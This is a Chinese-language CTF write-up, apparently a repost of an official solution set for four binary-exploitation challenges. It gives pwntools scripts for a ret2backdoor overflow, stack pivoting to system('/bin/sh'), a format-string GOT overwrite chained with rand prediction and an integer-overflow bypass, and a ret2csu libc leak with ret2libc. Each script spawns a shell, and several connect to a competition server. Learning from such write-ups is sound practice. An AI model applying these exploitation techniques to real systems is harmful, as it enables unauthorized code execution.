简介:
最后一周的题直接上强度了,有点受不了T^T,先转载官方的WP吧,后续琢磨透了再来改
call_call_would_backdoor
exp如下:
from pwn import*
p=remote('112.6.51.212',31696 )
context(arch='amd64',log_level = 'debug',os = 'linux')
#p=process('./bac')
#p=gdb.debug('./bac')
elf=ELF('./bac')
ladd=elf.symbols['backd00r']
print("%x"%ladd)
p1=b'a'*(0x48+4)+p32(ladd)
p.sendafter("?",p1)
p2="MTEwL2Jpbi9zaA=="
p.sendafter("!",p2)
#p.sendlineafter(":",p1)
#send
p.interactive()
transfer
程序没开pie保护,能够通过静态调试得到全局变量地址,第一次输入0xc8字节大小数据进入data段,显然足够大,第二次输入只溢出0x10字节,足够进行栈迁移了,此外程序system函数已经给出
exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io = process('./transfer')
io = remote('112.6.51.212', 32178)
elf = ELF('./transfer')
#libc = ELF('libc-2.31.so')
target_addr = 0x405160-0x8
bin_sh_addr = 0x405160+0x18
pop_rdi_ret = 0x0000000000401313
leave_ret = 0x00000000004012a7
ret = 0x000000000040101a
#gdb.attach(io)
#pause()
payload = p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(elf.plt['system'])
payload += b'/bin/sh\x00'
io.recvuntil("haha,welcome!")
io.send(payload)
payload = b'a'*8
payload += p64(target_addr)
payload += p64(leave_ret)
io.recvuntil("input:")
io.send(payload)
io.interactive()
Aftermath
套了三个知识点
Trail1用ctypes模拟c语言函数,输入随机值绕过
Trail2查看它判断负数的方式是检查’-’,那么我们利用整数溢出,输入两个大于INT_MAX的值即可绕过
Trail3就是普通的格式化字符串修改printf_got为system
exp如下:
from pwn import *
from ctypes import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug')
native = 1
if native:
p = process('pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
se = lambda data: p.send(data)
sa = lambda delim, data: p.sendafter(delim, data)
sl = lambda data: p.sendline(data)
sla = lambda delim, data: p.sendlineafter(delim, data)
sea = lambda delim, data: p.sendafter(delim, data)
rc = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
su = lambda delim, data: success(delim + hex(data))
elf = ELF('pwn1')
def test1():
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
x = libc.rand()
y = (x+1919810)^114514
sl(str(y))
def test2():
v1 = 2147483647+200
v2 = v1 - 100
sla("v1:\n", str(v1))
sla("v2:\n", str(v2))
def test3():
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 6
payload1 = b'%15$p'
sla(b'gift\n', payload1)
write_addr = int(p.recv(14).decode(),16)-23
libc_base = write_addr - libc.sym['write']
su("libc_base:",libc_base)
system = libc_base + libc.sym['system']
su("system:",system)
system1 = (system & 0xffffff)>>16
system2 = (system&0xffff)
su("system1:",system1)
su("system2:",system2)
payload2 = b'%'+str(system1).encode()+b'c%10$hhn'
payload2 += b'%' + str(system2-system1).encode()+b'c%11$hn'
print(len(payload2))
payload2 += b'a'*(32-len(payload2))
payload2 += p64(elf.got['printf']+2) + p64(elf.got['printf'])
sl(payload2)
sl(b'/bin/sh\x00')
test1()
test2()
test3()
p.interactive()
Start Your PWN!
read 函数可溢出
ida 看到 libc 初始化片段__libc_csu_init
可用,我们可以通过 payload 布局 csu 片段
write 函数已经执行过,可泄露真实地址,从而利用它获取 libc 版本
ida 可以得到 write 和 main 的地址
ropgadget 获取可用片段
exp如下:
from pwn import *
# p=process('./pwn')
p = remote('112.6.51.212',30082)
libc=ELF('libc-2.31.so')
write_got=0x601018
main_addr=0x400699
pop_addr=0x40076A
mov_addr=0x400750
pop_rdi=0x400773
ret=0x400506
payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)
p.recvuntil('Please:\n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(hex(write_addr))
libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
p.recvuntil('Please:\n')
p.sendline(payload)
p.interactive()
总结:
做的不知所措,云里雾里,还得继续加油!!!